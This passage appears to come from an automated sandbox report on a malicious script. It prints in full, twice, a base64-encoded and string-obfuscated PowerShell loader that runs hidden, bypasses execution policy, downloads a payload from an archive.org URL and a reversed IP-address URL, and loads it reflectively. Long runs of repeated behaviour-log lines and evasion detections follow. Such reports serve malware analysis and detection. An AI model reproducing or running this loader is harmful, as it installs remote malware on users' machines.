'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B89E37E pushad ; iretd	3_2_00007FFD9B89E399
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B897563 push ebx; iretd	3_2_00007FFD9B89756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B963414 pushfd ; iretd	3_2_00007FFD9B963415
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B967A0C push cs; ret	3_2_00007FFD9B967A0F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B966A13 push edi; iretd	3_2_00007FFD9B966A16
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B967966 push edi; iretd	3_2_00007FFD9B967968

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FFD9B89A1F9 sldt word ptr fs:[eax]

3_2_00007FFD9B89A1F9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2384	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 800	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3044	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6825	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6928	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3736	Thread sleep count: 3044 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2488	Thread sleep count: 6825 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4268	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000003.00000002.2204804190.000001B044190000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_7052.amsi.csv, type: OTHER

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy 